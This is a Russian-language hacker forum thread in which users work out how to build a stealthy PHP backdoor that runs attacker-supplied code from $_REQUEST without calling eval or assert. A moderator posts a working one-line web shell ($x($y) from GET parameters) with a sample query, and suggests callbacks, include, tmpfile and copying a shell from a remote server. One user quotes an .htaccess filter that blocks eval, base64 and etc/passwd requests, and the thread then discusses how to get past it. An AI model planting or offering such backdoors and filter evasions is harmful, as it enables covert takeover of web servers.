Хитрый код с участием usort

Discussion in 'PHP' started by Dreamer333, 27 Dec 2018.

  1. Dreamer333

    Dreamer333 New Member

    Joined:
    19 Feb 2013
    Messages:
    16
    Likes Received:
    2
    Reputations:
    0
    Прошу подсказать в чем проблема. В php не очень, добрался до интересного и тут заглох.
    Есть такая шляпа:
    $a = function ($x, $y) { echo "Test"; };
    $b = array(1 => '1', 2 => '2');
    usort( $b, $a);
    Теперь пробуем так:
    $c = echo "Test";
    $a = function ($x, $y) { $c; };
    $b = array(1 => '1', 2 => '2');
    usort( $b, $a);
    Естественно не получаем ничего. Можно как то обойтись без eval $c; assert $c; и т.д. что бы добиться работы $c?
     
    rekrut999 likes this.
  2. b3

    b3 Moderator

    Joined:
    5 Dec 2004
    Messages:
    1,859
    Likes Received:
    661
    Reputations:
    197
    $c = print("Test");

    echo не функция, но и print недофункция но справляется.
     
    _________________________
    Dreamer333 likes this.
  3. Dreamer333

    Dreamer333 New Member

    Joined:
    19 Feb 2013
    Messages:
    16
    Likes Received:
    2
    Reputations:
    0
    Спасибо что отозвались b3. Дело оказалось не в том. Пробовал и echo и print - не работало, благо додумался объявить переменную глобальной. В результате $c = print("Test"); - работает, но $c = $_REQUEST['c']; соответственно $_REQUEST['c'] = print("Test"); - не работает. Объявляй хоть глобальной хоть глючной. Можете еще тут подсобить?
     
  4. b3

    b3 Moderator

    Joined:
    5 Dec 2004
    Messages:
    1,859
    Likes Received:
    661
    Reputations:
    197
    Я часто под наркотиками и воспринимаю все по своему и не совсем понял что нужно. С echo у вас
    с print нет ошибок, но я теперь понимаю что дело не в ошибке а в чем?
     
    _________________________
    ms13 likes this.
  5. Dreamer333

    Dreamer333 New Member

    Joined:
    19 Feb 2013
    Messages:
    16
    Likes Received:
    2
    Reputations:
    0
    заставить работать код вида:
    $c = $_REQUEST['c'];
    $a = function ($x, $y) { $c; };
    $b = array(1 => '1', 2 => '2');
    usort( $b, $a);
    под "заставить работать" имеется ввиду что в $_REQUEST['c']; будет все от print"работает"; до copy(себя,вменя);
    Сейчас же не выводится ничего.
    p.s. какие наркотики используете для такого рода кода? :)
     
  6. b3

    b3 Moderator

    Joined:
    5 Dec 2004
    Messages:
    1,859
    Likes Received:
    661
    Reputations:
    197
    У вас функция принимает 2 аргумента, в теле функции параметр неопределенный, яхз что вы хотите от кода) Его бы по хорошему переписать с индусского или албанского на PHP. Или это у вас "задачка" и код менять нельзя?

    ps со всем уважением к вашему коду)
     
    _________________________
  7. b3

    b3 Moderator

    Joined:
    5 Dec 2004
    Messages:
    1,859
    Likes Received:
    661
    Reputations:
    197
    Я так понимаю вы пишите бэкдор?
     
    _________________________
  8. Dreamer333

    Dreamer333 New Member

    Joined:
    19 Feb 2013
    Messages:
    16
    Likes Received:
    2
    Reputations:
    0
    Вы видите какой я мастер в php?) Но идея в принципе похожая.
    Суть менять можно, мне просто понравился статья habr.com/post/215139/ вот решил заняться тестированием. Главная идея сделать eval($_REQUEST) без eval, assert и т.д.
     
  9. b3

    b3 Moderator

    Joined:
    5 Dec 2004
    Messages:
    1,859
    Likes Received:
    661
    Reputations:
    197
    Я вас понял теперь.
    тут явное echo, исполнения кода вы не получите если там будет ваш _REQUEST без eval. Тут нужно понимать сам яп.

    Code:
    <?php
    $c = eval('phpinfo();');
    $a = function () { global $c; };
    $b = array(1 => '1', 2 => '2');
    usort( $b, $a);
    Таким образом можно, но палится явный вызов eval а как вы хотите всего с 1 параметром не получится.

    Code:
    <?php
    $x = $_GET['x'];
    $y = $_GET['y'];
    $x($y);
    Юзайте этот вариант, можете обернуть в функцию если оч хочется
     
    _________________________
  10. Dreamer333

    Dreamer333 New Member

    Joined:
    19 Feb 2013
    Messages:
    16
    Likes Received:
    2
    Reputations:
    0
    И тут удар под дых от функции в начале скрипта или хтацеса, который отлавливает все eval,assert,system,base64 и т.д. не то что с $_GET а даже с $_COOKIE. Что тогда?)
     
  11. b3

    b3 Moderator

    Joined:
    5 Dec 2004
    Messages:
    1,859
    Likes Received:
    661
    Reputations:
    197
    Я что-то не вижу в коде евалов и системов а еще хотелось бы увидеть отлавливающий .htaccess
     
    _________________________
  12. Dreamer333

    Dreamer333 New Member

    Joined:
    19 Feb 2013
    Messages:
    16
    Likes Received:
    2
    Reputations:
    0
    Имею ввиду если
    PHP:
    $x $_GET['x'];
    $y $_GET['y'];
    $x($y);
    ?x=eval&y=phpinfo();
    Вот первое что попалось на глаза
    Code:
    <IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteCond %{QUERY_STRING} (eval\() [NC,OR]
    RewriteCond %{QUERY_STRING} (127\.0\.0\.1) [NC,OR]
    RewriteCond %{QUERY_STRING} ([a-z0-9]{2000}) [NC,OR]
    RewriteCond %{QUERY_STRING} (javascript:)(.*)(smile;) [NC,OR]
    RewriteCond %{QUERY_STRING} (base64_encode)(.*)(\() [NC,OR]
    RewriteCond %{QUERY_STRING} (GLOBALS|REQUEST)(=|\[|%) [NC,OR]
    RewriteCond %{QUERY_STRING} (<|%3C)(.*)script(.*)(>|%3) [NC,OR]
    RewriteCond %{QUERY_STRING} (\\|\.\.\.|\.\./|~|`|<|>|\|) [NC,OR]
    RewriteCond %{QUERY_STRING} (boot\.ini|etc/passwd|self/environ) [NC,OR]
    RewriteCond %{QUERY_STRING} (thumbs?(_editor|open)?|tim(thumb)?)\.php [NC,OR]
    RewriteCond %{QUERY_STRING} (\'|\"smile;)(.*)(drop|insert|md5|select|union) [NC]
    RewriteRule .* - [F]
    </IfModule> 
    p.s. сейчас чувствую начнете меня пинать из за того что ляпнул что то не то)
     
    #12 Dreamer333, 28 Dec 2018
    Last edited: 28 Dec 2018
  13. b3

    b3 Moderator

    Joined:
    5 Dec 2004
    Messages:
    1,859
    Likes Received:
    661
    Reputations:
    197
    Во первых) данный код не работает на PHP 7+ версиях. Во вторых обход IDS это другой вопрос
     
    _________________________
  14. t0ma5

    t0ma5 Reservists Of Antichat

    Joined:
    10 Feb 2012
    Messages:
    785
    Likes Received:
    740
    Reputations:
    89
    eval для неявного вызова, насколько помню нельзя передавать, надо в assert сначала завернуть, и то если не php7, в седьмой assert тоже не передать
    а htaccess в чем проблема обойти через POST?
     
    _________________________
    Dreamer333 likes this.
  15. Dreamer333

    Dreamer333 New Member

    Joined:
    19 Feb 2013
    Messages:
    16
    Likes Received:
    2
    Reputations:
    0
    Да нет) С обхода IDS как раз все и началось) с assert и php7, с create_function и php7. Вообщем все это завертелось и создалась эта тема.
     
  16. b3

    b3 Moderator

    Joined:
    5 Dec 2004
    Messages:
    1,859
    Likes Received:
    661
    Reputations:
    197
    Я надеюсь вы понимаете что обойти такие вот огого фильтры можно банальными методиками склеивания строк итд) Я уже начинаю не понимать о чем мы говорим и куда мы идем))
    Очень интересно применение данного правила))
     
    _________________________
  17. Dreamer333

    Dreamer333 New Member

    Joined:
    19 Feb 2013
    Messages:
    16
    Likes Received:
    2
    Reputations:
    0
    Главное что не маленький, понимаю что никто не выложит код со словами "на пользуйся", но все же вопрос остается открытым - выполнение кода переданного в $_REQUEST, без явного вызова палевных функций которые можно отловить регулярками или теме же антивирусами.
    P.S. Куда мы идем уже и я не знаю)
     
  18. b3

    b3 Moderator

    Joined:
    5 Dec 2004
    Messages:
    1,859
    Likes Received:
    661
    Reputations:
    197
    Код выкладывать не буду но посоветовал бы вам посмотреть в сторону колбэк-функций в компановке с анонимными функциями. Да и вообще погуглите про бэкдоринг там есть варианты через ООП. Ну и код что выше тоже подойдет для этого, просто учитывайте что eval, assert не принимает string и все.
    http://php.net/manual/ru/language.types.callable.php

    Так же код можно исполнить не только через eval не забывайте про include) Да и вообще бэкдор не обязательно должен исполнять код, вам хватит банальной функции копирования шела с удаленного сервера.
     
    _________________________
    crlf and Dreamer333 like this.
  19. Dreamer333

    Dreamer333 New Member

    Joined:
    19 Feb 2013
    Messages:
    16
    Likes Received:
    2
    Reputations:
    0
    Вы прям мысли читаете) Пару дней смотрю в сторону анонимных функций и preg_replace_callback. беда - знаний не хватает. про бэкдоринг много читал, вот прям что бы таки "инетересное", не нашел. include старая шляпа с allow_url_fopen, а держать локально, всплывает первая проблема. простой copy - банально, хочется пока есть свободное время добавить в базу знаний что то извращенное)
     
  20. b3

    b3 Moderator

    Joined:
    5 Dec 2004
    Messages:
    1,859
    Likes Received:
    661
    Reputations:
    197
    Не обязательно удаленно хранить код http://php.net/manual/ru/function.tmpfile.php
    Вы хотели сказать эффективно наверное)
     
    _________________________
Loading...
Similar Threads - Хитрый участием usort
  1. NitroM$I
    Replies:
    19
    Views:
    2,674
  2. mff
    Replies:
    1
    Views:
    1,486
  3. mff
    Replies:
    9
    Views:
    2,048